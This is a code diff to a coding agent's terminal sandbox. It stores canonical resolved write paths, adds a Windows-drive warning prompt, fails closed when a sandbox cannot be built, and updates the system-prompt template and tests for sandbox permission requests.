+                    HostFilesystemLocation::capture(log_dir.path()).expect("capture temp dir")
                 ],
                 protected_paths: Vec::new(),
             }
@@ -908,7 +973,7 @@ mod tests {
         let mut grants = ThreadSandboxGrants::default();
         grants.record(&request(NetworkRequest::None, false, &["/tmp/build/cache"]));
         grants.record(&request(NetworkRequest::None, false, &["/tmp/build"]));
-        assert_eq!(grants.write_paths, vec![PathBuf::from("/tmp/build")]);
+        assert_eq!(grants.write_paths, granted(&["/tmp/build"]));
     }
 
     #[test]
@@ -916,7 +981,7 @@ mod tests {
         let mut grants = ThreadSandboxGrants::default();
         grants.record(&request(NetworkRequest::None, false, &["/tmp/build"]));
         grants.record(&request(NetworkRequest::None, false, &["/tmp/build/cache"]));
-        assert_eq!(grants.write_paths, vec![PathBuf::from("/tmp/build")]);
+        assert_eq!(grants.write_paths, granted(&["/tmp/build"]));
     }
 
     #[test]
@@ -1011,7 +1076,7 @@ mod tests {
         let mut grants = ThreadSandboxGrants::default();
         grants.record(&request(hosts(&["github.com"]), false, &[]));
         let persistent = SandboxPermissions {
-            write_paths: vec![PathBuf::from("/tmp/build")],
+            write_paths: granted(&["/tmp/build"]),
             ..Default::default()
         };
 
@@ -1103,7 +1168,7 @@ mod tests {
         grants.record(&request(NetworkRequest::None, false, &["/tmp/build"]));
 
         let effective = effective(&grants, &request(NetworkRequest::None, false, &[]));
-        assert_eq!(effective.write_paths, vec![PathBuf::from("/tmp/build")]);
+        assert_eq!(effective.write_paths, granted(&["/tmp/build"]));
     }
 
     #[test]
@@ -1118,10 +1183,7 @@ mod tests {
             &request(hosts(&["npmjs.org"]), false, &["/tmp/once"]),
         );
         assert_eq!(effective.network, hosts(&["github.com", "npmjs.org"]));
-        assert_eq!(
-            effective.write_paths,
-            vec![PathBuf::from("/tmp/build"), PathBuf::from("/tmp/once")]
-        );
+        assert_eq!(effective.write_paths, granted(&["/tmp/build", "/tmp/once"]));
     }
 
     #[test]
@@ -1138,14 +1200,14 @@ mod tests {
         let grants = ThreadSandboxGrants::default();
         let persistent = SandboxPermissions {
             allow_all_hosts: true,
-            write_paths: vec![PathBuf::from("/tmp/always")],
+            write_paths: granted(&["/tmp/always"]),
             ..Default::default()
         };
 
         let effective = grants
             .effective_with_persistent(&request(NetworkRequest::None, false, &[]), &persistent);
         assert_eq!(effective.network, NetworkRequest::AnyHost);
-        assert_eq!(effective.write_paths, vec![PathBuf::from("/tmp/always")]);
+        assert_eq!(effective.write_paths, granted(&["/tmp/always"]));
     }
 
     #[test]
@@ -1157,6 +1219,6 @@ mod tests {
             &grants,
             &request(NetworkRequest::None, false, &["/tmp/build/cache"]),
         );
-        assert_eq!(effective.write_paths, vec![PathBuf::from("/tmp/build")]);
+        assert_eq!(effective.write_paths, granted(&["/tmp/build"]));
     }
 }
diff --git a/crates/agent/src/templates.rs b/crates/agent/src/templates.rs
index 51952c07dc11e4..9384d07a2fac41 100644
--- a/crates/agent/src/templates.rs
+++ b/crates/agent/src/templates.rs
@@ -44,10 +44,11 @@ pub struct SystemPromptTemplate<'a> {
     /// platform equivalent), if present and non-empty.
     pub user_agents_md: Option<SharedString>,
     /// Whether agent-run terminal commands are wrapped in an OS-level
-    /// sandbox for this thread. When `true`, the rendered prompt
-    /// describes the sandbox's read/write/network rules and the
-    /// per-command flags the model can request to relax them. When
-    /// `false`, the prompt omits the sandbox section entirely.
+    /// sandbox for this thread. When `true` — and the `terminal` tool is
+    /// in `available_tools` — the rendered prompt describes the sandbox's
+    /// read/write/network rules and the per-command flags the model can
+    /// request to relax them. Otherwise the prompt omits the sandbox
+    /// section entirely.
     pub sandboxing: bool,
     /// Whether the host is Linux. The writable-temp story differs by
     /// platform (Linux exposes an ephemeral `tmpfs` over `/tmp`; other
@@ -192,7 +193,7 @@ mod tests {
         let project = ProjectContext::new(worktrees);
         let template = SystemPromptTemplate {
             project: &project,
-            available_tools: vec!["echo".into()],
+            available_tools: vec!["echo".into(), "terminal".into()],
             model_name: Some("test-model".to_string()),
             date: "2026-01-01".to_string(),
             user_agents_md: None,
@@ -216,6 +217,11 @@ mod tests {
         assert!(rendered.contains("request `unsandboxed: true` with a reason"));
         assert!(rendered.contains("git --no-optional-locks status"));
         assert!(rendered.contains("for the rest of the thread"));
+        // macOS tolerates granting a not-yet-existing path, so the
+        // existing-directory requirement must not be stated there; the
+        // `create_directory` flow is the preferred guidance instead.
+        assert!(!rendered.contains("Each path must be an existing directory"));
+        assert!(rendered.contains("first create it with the `create_directory` tool"));
     }
 
     #[test]
@@ -230,7 +236,7 @@ mod tests {
         let project = ProjectContext::new(worktrees);
         let template = SystemPromptTemplate {
             project: &project,
-            available_tools: vec!["echo".into()],
+            available_tools: vec!["echo".into(), "terminal".into()],
             model_name: Some("test-model".to_string()),
             date: "2026-01-01".to_string(),
             user_agents_md: None,
@@ -246,6 +252,9 @@ mod tests {
         assert!(!rendered.contains("$TMPDIR"));
         assert!(rendered.contains("`/tmp` is writable"));
         assert!(rendered.contains("`/tmp/alpha`"));
+        // Linux write grants must already exist (bwrap binds existing paths).
+        assert!(rendered.contains("Each path must be an existing directory"));
+        assert!(rendered.contains("first create it with the `create_directory` tool"));
     }
 
     #[test]
@@ -260,7 +269,7 @@ mod tests {
         let project = ProjectContext::new(worktrees);
         let template = SystemPromptTemplate {
             project: &project,
-            available_tools: vec!["echo".into()],
+            available_tools: vec!["echo".into(), "terminal".into()],
             model_name: Some("test-model".to_string()),
             date: "2026-01-01".to_string(),
             user_agents_md: None,
@@ -277,6 +286,12 @@ mod tests {
         assert!(rendered.contains("such requests are rejected"));
         assert!(rendered.contains("allow_all_hosts: true"));
         assert!(rendered.contains("git --no-optional-locks status"));
+        // Out-of-project `create_directory` grants aren't supported on Windows,
+        // so the prompt must not recommend that flow; it suggests granting the
+        // nearest existing parent instead.
+        assert!(rendered.contains("Each path must be an existing directory"));
+        assert!(rendered.contains("nearest existing parent directory"));
+        assert!(!rendered.contains("first create it with the `create_directory` tool"));
     }
 
     #[test]
@@ -284,7 +299,7 @@ mod tests {
         let project = prompt_store::ProjectContext::default();
         let template = SystemPromptTemplate {
             project: &project,
-            available_tools: vec!["echo".into()],
+            available_tools: vec!["echo".into(), "terminal".into()],
             model_name: Some("test-model".to_string()),
             date: "2026-01-01".to_string(),
             user_agents_md: None,
@@ -299,6 +314,28 @@ mod tests {
         assert!(rendered.contains("No project directories are currently writable"));
     }
 
+    #[test]
+    fn test_system_prompt_omits_sandbox_section_when_terminal_tool_unavailable() {
+        // A profile can disable the terminal tool entirely; the prompt must not
+        // describe a sandboxed `terminal` tool the model doesn't have.
+        let project = prompt_store::ProjectContext::default();
+        let template = SystemPromptTemplate {
+            project: &project,
+            available_tools: vec!["echo".into()],
+            model_name: Some("test-model".to_string()),
+            date: "2026-01-01".to_string(),
+            user_agents_md: None,
+            sandboxing: true,
+            is_linux: false,
+            is_windows: false,
+        };
+        let templates = Templates::new();
+        let rendered = template.render(&templates).unwrap();
+
+        assert!(!rendered.contains("## Terminal sandbox"));
+        assert!(!rendered.contains("allow_hosts"));
+    }
+
     #[test]
     fn test_system_prompt_omits_user_agents_md_section_when_absent() {
         let project = prompt_store::ProjectContext::default();
diff --git a/crates/agent/src/templates/system_prompt.hbs b/crates/agent/src/templates/system_prompt.hbs
index 233a0e45215f6c..b0341793dd706a 100644
--- a/crates/agent/src/templates/system_prompt.hbs
+++ b/crates/agent/src/templates/system_prompt.hbs
@@ -154,6 +154,7 @@ The current project contains the following root directories:
 {{/each}}
 
 {{#if sandboxing}}
+{{#if (contains available_tools 'terminal')}}
 ## Terminal sandbox
 
 The `terminal` tool runs commands inside a sandbox with these permissions:
@@ -198,7 +199,7 @@ You can request elevated permissions on individual `terminal` calls:
 - `allow_hosts: ["github.com", "*.npmjs.org"]` — allow outbound HTTP/HTTPS to specific hosts (exact hostnames or leading-`*.` subdomain wildcards; no IP literals). Prefer this whenever you know which hosts the command needs.
 - `allow_all_hosts: true` — lift the network restriction entirely: outbound access to any host over any protocol, so SSH, FTP, and raw sockets work too (unlike `allow_hosts`, which is HTTP/HTTPS-only). Use only when the specific hosts can't be enumerated up front.
 {{/if}}
-- `fs_write_paths: ["/abs/or/worktree-relative/path", ...]` — allow writes to specific paths (each directory grants its whole subtree). Prefer this whenever you know which paths the command needs to write. Each path must be an existing directory. To write into a directory that doesn't exist yet, first create it with the `create_directory` tool (which creates it and grants write access to exactly that directory) rather than requesting write access to a broad existing parent. Git metadata paths cannot be requested and will never be made writable while sandboxed.
+- `fs_write_paths: ["/abs/or/worktree-relative/path", ...]` — allow writes to specific paths (each directory grants its whole subtree). Prefer this whenever you know which paths the command needs to write.{{#if is_windows}} Each path must be an existing directory; to write somewhere that doesn't exist yet, request write access to the nearest existing parent directory.{{else}}{{#if is_linux}} Each path must be an existing directory.{{/if}} To write into a directory that doesn't exist yet, first create it with the `create_directory` tool (which creates it and grants write access to exactly that directory) rather than requesting write access to a broad existing parent.{{/if}} Git metadata paths cannot be requested and will never be made writable while sandboxed.
 - `allow_fs_write_all: true` — allow unrestricted filesystem writes except protected Git metadata. Only use this when the specific paths can't be enumerated up front.
 - `unsandboxed: true` — run the command with no sandbox at all. Use only when none of the above suffice, including when a command must write Git metadata.
 
@@ -208,6 +209,7 @@ The user will be prompted to approve before the command runs, and can grant a sa
 
 These sandbox settings are guaranteed to remain in effect for the entire duration of this thread. If they ever change, you will be told.
 
+{{/if}}
 {{/if}}
 {{#if model_name}}
 ## Model Information
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 98beabb86a5550..3f50789786f507 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -283,9 +283,9 @@ fn always_allow_tools(cx: &mut TestAppContext) {
 
 /// Turns terminal sandboxing off so the non-sandboxed `TerminalTool` is the
 /// variant exposed to the model as `terminal`. Tests that register
-/// `TerminalTool` directly need this because sandboxing is enabled by default
-/// for staff (and in debug builds), in which case `Thread::enabled_tools`
-/// would otherwise expose `SandboxedTerminalTool` under that name instead.
+/// `TerminalTool` directly need this because the sandboxing feature flag is
+/// enabled for all, in which case `Thread::enabled_tools` would otherwise
+/// expose `SandboxedTerminalTool` under that name instead.
 fn disable_sandboxing(cx: &mut TestAppContext) {
     cx.update(|cx| {
         let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
@@ -7524,7 +7524,6 @@ async fn test_fetch_tool_allow_rule_skips_confirmation(cx: &mut TestAppContext)
 /// A fetch to a host that hasn't been granted network access prompts for the
 /// shared per-host sandbox grant, even when the tool itself is allowed.
 #[gpui::test]
-#[ignore]
 async fn test_fetch_tool_prompts_for_ungranted_host(cx: &mut TestAppContext) {
     init_test(cx);
 
@@ -7612,7 +7611,6 @@ async fn test_fetch_tool_granted_host_skips_prompt(cx: &mut TestAppContext) {
 
 /// Loopback / IP-literal hosts can't be granted individually, so without
 /// unsandboxed access a fetch to them is refused with guidance to grant it.
-#[ignore]
 #[gpui::test]
 async fn test_fetch_tool_refuses_loopback_without_unsandboxed(cx: &mut TestAppContext) {
     init_test(cx);
@@ -7702,7 +7700,6 @@ async fn test_fetch_tool_unsandboxed_lifts_restrictions(cx: &mut TestAppContext)
 /// is refused just like a direct loopback fetch. This is the redirect variant of
 /// the SSRF protection — the approved domain can't be used to bounce the request
 /// onto the local machine.
-#[ignore]
 #[gpui::test]
 async fn test_fetch_tool_refuses_redirect_to_loopback(cx: &mut TestAppContext) {
     init_test(cx);
@@ -7761,7 +7758,6 @@ async fn test_fetch_tool_refuses_redirect_to_loopback(cx: &mut TestAppContext) {
 /// A granted host that redirects to a *different*, ungranted host triggers a
 /// fresh per-host authorization prompt for the redirect target — the redirect is
 /// not silently followed to a host the user never approved.
-#[ignore]
 #[gpui::test]
 async fn test_fetch_tool_reauthorizes_redirect_to_new_host(cx: &mut TestAppContext) {
     init_test(cx);
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 0591576e8568c2..9b7af8a3d21aa6 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -5793,6 +5793,10 @@ impl ToolCallEventStream {
             allow_fs_write_all: request.allow_fs_write_all,
             unsandboxed: request.unsandboxed,
             write_paths: request.write_paths.clone(),
+            // The Windows-drive warning is a separate pre-prompt
+            // (`authorize_windows_fs_warning`), never part of the escalation
+            // prompt, so this stays off here.
+            warn_windows_fs: false,
             reason,
         };
         let allow_thread_label = if self.is_subagent(cx) {
@@ -5903,6 +5907,81 @@ impl ToolCallEventStream {
         })
     }
 
+    /// Confirm, before running a command whose sandbox will contain a Windows
+    /// drive (DrvFs) path, that the user accepts the weaker integrity
+    /// guarantees. This is a transient gate *in front of* the normal sandbox
+    /// flow — it is never persisted or recorded as a grant; the only way to
+    /// stop it recurring is to disable `warn_ntfs_grants` in settings (offered
+    /// via the banner's gear). Returns `Ok(())` on "Continue" (after which the
+    /// caller proceeds to any escalation prompt) and `Err` on "Abort".
+    pub(crate) fn authorize_windows_fs_warning(&self, cx: &mut App) -> Task<Result<()>> {
+        // If the warning is already disabled, don't prompt.
+        if !AgentSettings::get_global(cx)
+            .sandbox_permissions
+            .warn_ntfs_grants
+        {
+            return Task::ready(Ok(()));
+        }
+
+        let details = acp_thread::SandboxAuthorizationDetails {
+            command: None,
+            network_hosts: Vec::new(),
+            network_all_hosts: false,
+            allow_fs_write_all: false,
+            unsandboxed: false,
+            write_paths: Vec::new(),
+            warn_windows_fs: true,
+            reason: String::new(),
+        };
+        let options = acp_thread::PermissionOptions::Flat(vec![
+            acp::PermissionOption::new(
+                acp::PermissionOptionId::new(acp_thread::SandboxPermission::AllowOnce.as_id()),
+                "Continue",
+                acp::PermissionOptionKind::AllowOnce,
+            ),
+            acp::PermissionOption::new(
+                acp::PermissionOptionId::new(acp_thread::SandboxPermission::Deny.as_id()),
+                "Abort",
+                acp::PermissionOptionKind::RejectOnce,
+            ),
+        ]);
+
+        let stream = self.stream.clone();
+        let tool_use_id = self.tool_use_id.clone();
+        cx.spawn(async move |_cx| {
+            let (response_tx, response_rx) = oneshot::channel();
+            if let Err(error) = stream
+                .0
+                .unbounded_send(Ok(ThreadEvent::ToolCallAuthorization(
+                    ToolCallAuthorization {
+                        tool_call: acp::ToolCallUpdate::new(
+                            tool_use_id.to_string(),
+                            acp::ToolCallUpdateFields::new(),
+                        )
+                        .meta(acp_thread::meta_with_sandbox_authorization(details)),
+                        options,
+                        response: response_tx,
+                        context: None,
+                        kind: acp_thread::AuthorizationKind::PermissionGrant,
+                    },
+                )))
+            {
+                log::error!("Failed to send Windows-drive sandbox warning: {error}");
+                return Err(anyhow!(
+                    "Failed to send Windows-drive sandbox warning: {error}"
+                ));
+            }
+
+            let outcome = response_rx
+                .await
+                .map_err(|_| anyhow!("authorization channel closed"))?;
+            match acp_thread::SandboxPermission::from_id(outcome.option_id.0.as_ref()) {
+                Some(acp_thread::SandboxPermission::AllowOnce) => Ok(()),
+                _ => Err(anyhow!("Windows-drive write aborted by user")),
+            }
+        })
+    }
+
     fn sandbox_request_covered_by_grants(
         request: &SandboxRequest,
         sandbox_grants: &Rc<RefCell<ThreadSandboxGrants>>,
@@ -6001,8 +6080,15 @@ impl ToolCallEventStream {
                 if request.unsandboxed {
                     agent.allow_sandbox_unsandboxed();
                 }
-                for path in request.write_paths {
-                    agent.add_sandbox_write_path(path);
+                for granted in request.write_paths {
+                    // Persist the full (requested, resolved-canonical) pair so a
+                    // persistent grant is rebuilt from the vetted canonical
+                    // across restarts, not re-resolved by path string.
+                    agent.add_sandbox_write_path(settings::GrantedWritePathContent {
+                        requested: granted.requested,
+                        resolved: granted.resolved,
+                        on_windows_fs: granted.on_windows_fs,
+                    });
                 }
             });
         });
@@ -7947,10 +8033,10 @@ mod tests {
             allow_fs_write_all: false,
             unsandboxed: false,
             write_paths: vec![
-                PathBuf::from("/tmp/build"),
-                PathBuf::from("/tmp/cache"),
-                PathBuf::from("/tmp/logs"),
-                PathBuf::from("/tmp/secret"),
+                settings::GrantedWritePath::from_requested(PathBuf::from("/tmp/build")),
+                settings::GrantedWritePath::from_requested(PathBuf::from("/tmp/cache")),
+                settings::GrantedWritePath::from_requested(PathBuf::from("/tmp/logs")),
+                settings::GrantedWritePath::from_requested(PathBuf::from("/tmp/secret")),
             ],
         };
 
diff --git a/crates/agent/src/tools/create_directory_tool.rs b/crates/agent/src/tools/create_directory_tool.rs
index c8f2943b1359f1..9871d2bf77b65a 100644
--- a/crates/agent/src/tools/create_directory_tool.rs
+++ b/crates/agent/src/tools/create_directory_tool.rs
@@ -23,7 +23,20 @@ use std::path::{Path, PathBuf};
 ///
 /// Use this whenever you need to create new directories. Paths inside the project are created directly.
 ///
-/// This tool can also create a directory **outside** the project. When agent terminal commands are sandboxed, doing so grants those commands write access to exactly that new directory — so, rather than requesting write access to a broad existing parent (e.g. your home directory) just to create something inside it, create the specific directory here first and then write into it. The only other supported path outside the project is `~/.agents/skills` or a descendant, for global agent skills.
+#[cfg_attr(
+    any(target_os = "linux", target_os = "macos"),
+    doc = "This tool can also create a directory **outside** the project. When agent terminal \
+    commands are sandboxed, doing so grants those commands write access to exactly that new \
+    directory — so, rather than requesting write access to a broad existing parent (e.g. your \
+    home directory) just to create something inside it, create the specific directory here \
+    first and then write into it. The only other supported path outside the project is \
+    `~/.agents/skills` or a descendant, for global agent skills."
+)]
+#[cfg_attr(
+    not(any(target_os = "linux", target_os = "macos")),
+    doc = "The only supported path outside the project is `~/.agents/skills` or a descendant, \
+    for global agent skills."
+)]
 #[derive(Debug, Serialize, Deserialize, JsonSchema)]
 pub struct CreateDirectoryToolInput {
     /// The path of the new directory.
@@ -42,10 +55,17 @@ pub struct CreateDirectoryToolInput {
     /// </example>
     pub path: String,
 
-    /// Justification for creating a directory **outside** the project, shown to
-    /// the user (attributed to you) in the approval prompt that grants sandboxed
-    /// terminal commands write access to it. Required only for out-of-project
-    /// paths; ignored for paths inside the project or the global skills dir.
+    #[cfg_attr(
+        any(target_os = "linux", target_os = "macos"),
+        doc = "Justification for creating a directory **outside** the project, shown to the \
+        user (attributed to you) in the approval prompt that grants sandboxed terminal \
+        commands write access to it. Required only for out-of-project paths; ignored for \
+        paths inside the project or the global skills dir."
+    )]
+    #[cfg_attr(
+        not(any(target_os = "linux", target_os = "macos")),
+        doc = "Unused on this platform."
+    )]
     #[serde(default)]
     pub reason: Option<String>,
 }
@@ -262,8 +282,14 @@ async fn create_out_of_project_directory(
         .map_err(|error| format!("Creating directory {}: {error}", input.path))?;
 
     let canonical = prepared.canonical_path().to_path_buf();
+    // The directory was just created and its inode pinned, so persist the
+    // resolved canonical alongside the raw request: enforcement rebuilds the
+    // grant from the vetted canonical via a verifying reopen.
     let request = crate::sandboxing::SandboxRequest {
-        write_paths: vec![canonical.clone()],
+        write_paths: vec![settings::GrantedWritePath::resolved(
+            prepared.untrusted_raw_path().to_path_buf(),
+            canonical.clone(),
+        )],
         ..Default::default()
     };
 
@@ -695,7 +721,6 @@ mod tests {
     /// on approval, creates the *specific* new directory (not its broad parent).
     #[cfg(any(target_os = "linux", target_os = "macos"))]
     #[gpui::test]
-    #[ignore]
     async fn test_create_directory_out_of_project_creates_and_grants(cx: &mut TestAppContext) {
         init_test(cx);
 
@@ -728,10 +753,13 @@ mod tests {
         let auth = event_rx.expect_authorization().await;
         let details = acp_thread::sandbox_authorization_details_from_meta(&auth.tool_call.meta)
             .expect("out-of-project create should request a sandbox write grant");
-        // The grant is for exactly the new directory, not its parent.
+        // The grant is for exactly the new directory, not its parent, and
+        // carries the resolved canonical established when it was created.
+        let expected_canonical = scratch.path().canonicalize().unwrap().join("new_grant_dir");
+        assert_eq!(details.write_paths.len(), 1);
         assert_eq!(
-            details.write_paths,
-            vec![scratch.path().canonicalize().unwrap().join("new_grant_dir")]
+            details.write_paths[0].canonical_or_requested(),
+            expected_canonical
         );
 
         auth.response
@@ -753,7 +781,6 @@ mod tests {
     /// trace on the filesystem.
     #[cfg(any(target_os = "linux", target_os = "macos"))]
     #[gpui::test]
-    #[ignore]
     async fn test_create_directory_out_of_project_denied_cleans_up(cx: &mut TestAppContext) {
         init_test(cx);
 
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index 3e7954e5ba67d4..5998153558a9c7 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -143,8 +143,8 @@ pub struct SandboxedTerminalToolInput {
     #[cfg_attr(
         target_os = "macos",
         doc = "Sandboxed commands can already write to the project worktree \
-        directories and a per-command temporary directory, so only list paths \
-        outside those."
+        directories and a per-thread temporary directory (exposed via \
+        `$TMPDIR`), so only list paths outside those."
     )]
     /// Provide absolute or worktree-relative paths; each
     /// directory grants write access to its whole subtree. Prefer this over
@@ -157,6 +157,13 @@ pub struct SandboxedTerminalToolInput {
         Requesting a file, or a path that does not exist yet, is an error. To create new \
         files, request write access to the existing directory that will contain them."
     )]
+    #[cfg_attr(
+        target_os = "windows",
+        doc = "\nEvery path here must be an existing directory, given as a Windows drive \
+        path (`C:\\...`) or a WSL absolute path (`/...`); a path that does not exist \
+        cannot be granted. To write somewhere new, request write access to the nearest \
+        existing parent directory."
+    )]
     #[serde(default)]
     pub fs_write_paths: Vec<String>,
     /// Set to `true` only when the command needs to write outside the
@@ -568,6 +575,51 @@ async fn run_terminal_tool(
         }
     }
 
+    // Resolve each requested path to its canonical target now, at approval
+    // intake, and carry the pair forward. Persisting the resolved canonical is
+    // what lets enforcement rebuild the grant via a verifying reopen rather than
+    // re-resolving the requested path by string (closing a symlink TOCTOU). A
+    // path that can't be resolved is dropped — fail-closed.
+    #[cfg(not(target_os = "windows"))]
+    let write_paths: Vec<settings::GrantedWritePath> = write_paths
+        .into_iter()
+        .filter_map(|requested| match sandbox::resolve_canonical(&requested) {
+            Ok(resolved) => Some(settings::GrantedWritePath::resolved(requested, resolved)),
+            Err(error) => {
+                log::warn!(
+                    "could not resolve sandbox write path {}: {error}",
+                    requested.display()
+                );
+                None
+            }
+        })
+        .collect();
+    #[cfg(target_os = "windows")]
+    let write_paths: Vec<settings::GrantedWritePath> = {
+        let Some(release) = wsl_zed_release.clone() else {
+            return Err("Could not select a Linux Zed release for WSL sandboxing".to_string());
+        };
+        let mut resolved_paths = Vec::with_capacity(write_paths.len());
+        for requested in write_paths {
+            match sandbox::resolve_canonical_for_grant(requested.clone(), release.clone()).await {
+                Ok(resolved) => {
+                    resolved_paths.push(settings::GrantedWritePath::resolved_on_fs(
+                        requested,
+                        resolved.canonical,
+                        resolved.on_windows_fs,
+                    ));
+                }
+                Err(error) => {
+                    log::warn!(
+                        "could not resolve sandbox write path {} in WSL: {error:#}",
+                        requested.display()
+                    );
+                }
+            }
+        }
+        resolved_paths
+    };
+
     let request = crate::sandboxing::SandboxRequest {
         network,
         allow_fs_write_all: !want_unsandboxed && want_fs_write_all,
@@ -575,6 +627,41 @@ async fn run_terminal_tool(
         write_paths,
     };
 
+    // Before any escalation prompt: if this command's sandbox will contain a
+    // path on a Windows drive (DrvFs) — from an explicit grant, a standing
+    // grant, or the default project directory — its integrity guarantees are
+    // weaker. When the warning is enabled, confirm with the user first. This
+    // gate is transient (never persisted): on "Continue" the normal flow
+    // (including any escalation prompt) proceeds; on "Abort" the command is
+    // cancelled. It recurs until the warning is disabled in settings.
+    if sandboxing && !want_unsandboxed && persistent.warn_ntfs_grants {
+        let effective = event_stream.effective_sandbox_request(&request, &persistent);
+        let contains_windows_fs = effective
+            .write_paths
+            .iter()
+            .any(|granted| granted.on_windows_fs)
+            || cx.update(|cx| {
+                let project = project.read(cx);
+                working_dir
+                    .as_deref()
+                    .is_some_and(|path| sandbox::path_is_on_windows_drive(path))
+                    || sandbox_worktree_writable_paths(project, cx)
+                        .iter()
+                        .any(|path| sandbox::path_is_on_windows_drive(path))
+            });
+        if contains_windows_fs
+            && cx
+                .update(|cx| event_stream.authorize_windows_fs_warning(cx))
+                .await
+                .is_err()
+        {
+            return Ok(
+                "Command cancelled: the user declined to run a command whose sandbox writes to a Windows drive."
+                    .to_string(),
+            );
+        }
+    }
+
     if request.needs_escalation() {
         let reason = sandbox_input
             .reason
@@ -721,12 +808,19 @@ async fn run_terminal_tool(
                 {
                     Ok(()) => Some(wrap),
                     Err(error) => {
-                        // The probe can't fail off Linux; keep failing open just
-                        // in case a future platform's probe ever does.
+                        // Off Linux the probe only fails when the policy itself
+                        // can't be built (e.g. a required write grant or `.git`
+                        // protection no longer exists or fails its verifying
+                        // reopen). Running the command anyway would silently
+                        // drop access the user approved — or a safety-critical
+                        // protection — so fail closed with the reason instead.
                         log::warn!(
                             "Failed to create a sandbox for an agent terminal command: {error:?}"
                         );
-                        None
+                        return Err(format!(
+                            "Cannot create a sandbox for this command: {}",
+                            error.user_facing_message()
+                        ));
                     }
                 }
             }
@@ -3288,7 +3382,7 @@ mod tests {
             details
                 .write_paths
                 .iter()
-                .any(|path| path.ends_with("build")),
+                .any(|path| path.requested.ends_with("build")),
             "re-prompt should request the same write path: {:?}",
             details.write_paths
         );
diff --git a/crates/agent_settings/src/agent_settings.rs b/crates/agent_settings/src/agent_settings.rs
index 534cebcca104dc..b30751f5db328b 100644
--- a/crates/agent_settings/src/agent_settings.rs
+++ b/crates/agent_settings/src/agent_settings.rs
@@ -3,7 +3,7 @@ mod user_agents_md;
 
 use std::cmp::Ordering::{Equal, Greater, Less};
 use std::fmt;
-use std::path::{Component, Path, PathBuf};
+use std::path::{Component, Path};
 use std::sync::{Arc, LazyLock};
 
 use anyhow::Context as _;
@@ -432,11 +432,17 @@ pub struct SandboxPermissions {
     /// approved "once" or "for this thread", which keeps the sandboxed
     /// tool/prompt in place — see `agent::sandboxing`.
     pub allow_unsandboxed: bool,
-    pub write_paths: Vec<PathBuf>,
+    /// Directory subtree grants, each paired with the canonical
+    /// (symlink-resolved) target established when the grant was approved.
+    pub write_paths: Vec<settings::GrantedWritePath>,
     /// Whether sandbox escalation prompts warn about domains or write paths
     /// that contain potentially confusable Unicode characters (homoglyphs,
     /// invisible characters, or bidirectional overrides). Enabled by default.
     pub warn_confusable_unicode: bool,
+    /// Whether to warn (Windows/WSL only) when a sandbox grant targets a file on
+    /// a Windows-hosted (DrvFs) filesystem, whose sandbox-integrity guarantees
+    /// are weaker than a distro-native filesystem. Enabled by default.
+    pub warn_ntfs_grants: bool,
 }
 
 impl Default for SandboxPermissions {
@@ -449,6 +455,8 @@ impl Default for SandboxPermissions {
             write_paths: Vec::new(),
             // The confusable-Unicode warning is a safety net, so it defaults on.
             warn_confusable_unicode: true,
+            // The weaker-guarantee warning for Windows-hosted grants defaults on.
+            warn_ntfs_grants: true,
         }
     }
 }
@@ -821,13 +829,24 @@ fn compile_sandbox_permissions(
         return SandboxPermissions::default();
     };
 
-    let mut write_paths = Vec::new();
-    for path in content.write_paths.map(|paths| paths.0).unwrap_or_default() {
+    let mut write_paths: Vec<settings::GrantedWritePath> = Vec::new();
+    for entry in content.write_paths.map(|paths| paths.0).unwrap_or_default() {
         // Normalize away `..`/`.` before storing, since coverage checks are
-        // purely lexical; drop paths that escape the filesystem root.
-        if let Ok(normalized) = util::paths::normalize_lexically(&path) {
-            util::paths::insert_subtree(&mut write_paths, normalized);
-        }
+        // purely lexical; drop entries whose requested (or resolved) path
+        // escapes the filesystem root.
+        let Ok(requested) = util::paths::normalize_lexically(&entry.requested) else {
+            continue;
+        };
+        let granted = match entry.resolved {
+            Some(resolved) => {
+                let Ok(resolved) = util::paths::normalize_lexically(&resolved) else {
+                    continue;
+                };
+                settings::GrantedWritePath::resolved_on_fs(requested, resolved, entry.on_windows_fs)
+            }
+            None => settings::GrantedWritePath::from_requested(requested),
+        };
+        insert_granted_subtree(&mut write_paths, granted);
     }
 
     let network_hosts = content
@@ -842,9 +861,37 @@ fn compile_sandbox_permissions(
         allow_unsandboxed: content.allow_unsandboxed.unwrap_or(false),
         write_paths,
         warn_confusable_unicode: content.warn_confusable_unicode.unwrap_or(true),
+        warn_ntfs_grants: content.warn_ntfs_grants.unwrap_or(true),
     }
 }
 
+/// Subtree-insert mirroring [`util::paths::insert_subtree`], but over
+/// [`settings::GrantedWritePath`] entries compared by their canonical
+/// (symlink-resolved) grant path — the path actually enforced at write time.
+///
+/// Insertion is a no-op when the new grant's canonical path is already covered
+/// by an existing entry; otherwise the new grant is added and any existing
+/// entries whose canonical path is a descendant of it are pruned. Containment
+/// is purely lexical, so callers should normalize paths first.
+fn insert_granted_subtree(
+    subtrees: &mut Vec<settings::GrantedWritePath>,
+    granted: settings::GrantedWritePath,
+) {
+    if subtrees.iter().any(|existing| {
+        granted
+            .canonical_or_requested()
+            .starts_with(existing.canonical_or_requested())
+    }) {
+        return;
+    }
+    subtrees.retain(|existing| {
+        !existing
+            .canonical_or_requested()
+            .starts_with(granted.canonical_or_requested())
+    });
+    subtrees.push(granted);
+}
+
 fn compile_tool_permissions(content: Option<settings::ToolPermissionsContent>) -> ToolPermissions {
     let Some(content) = content else {
         return ToolPermissions::default();
@@ -946,6 +993,7 @@ mod tests {
     use serde_json::json;
     use settings::ToolPermissionMode;
     use settings::ToolPermissionsContent;
+    use std::path::PathBuf;
 
     #[test]
     fn test_parse_auto_compact_threshold() {
@@ -1162,7 +1210,10 @@ mod tests {
         assert!(permissions.allow_unsandboxed);
         assert_eq!(
             permissions.write_paths,
-            vec![PathBuf::from("/tmp/build"), PathBuf::from("/var/log")]
+            vec![
+                settings::GrantedWritePath::from_requested(PathBuf::from("/tmp/build")),
+                settings::GrantedWritePath::from_requested(PathBuf::from("/var/log")),
+            ]
         );
     }
 
@@ -1180,7 +1231,77 @@ mod tests {
 
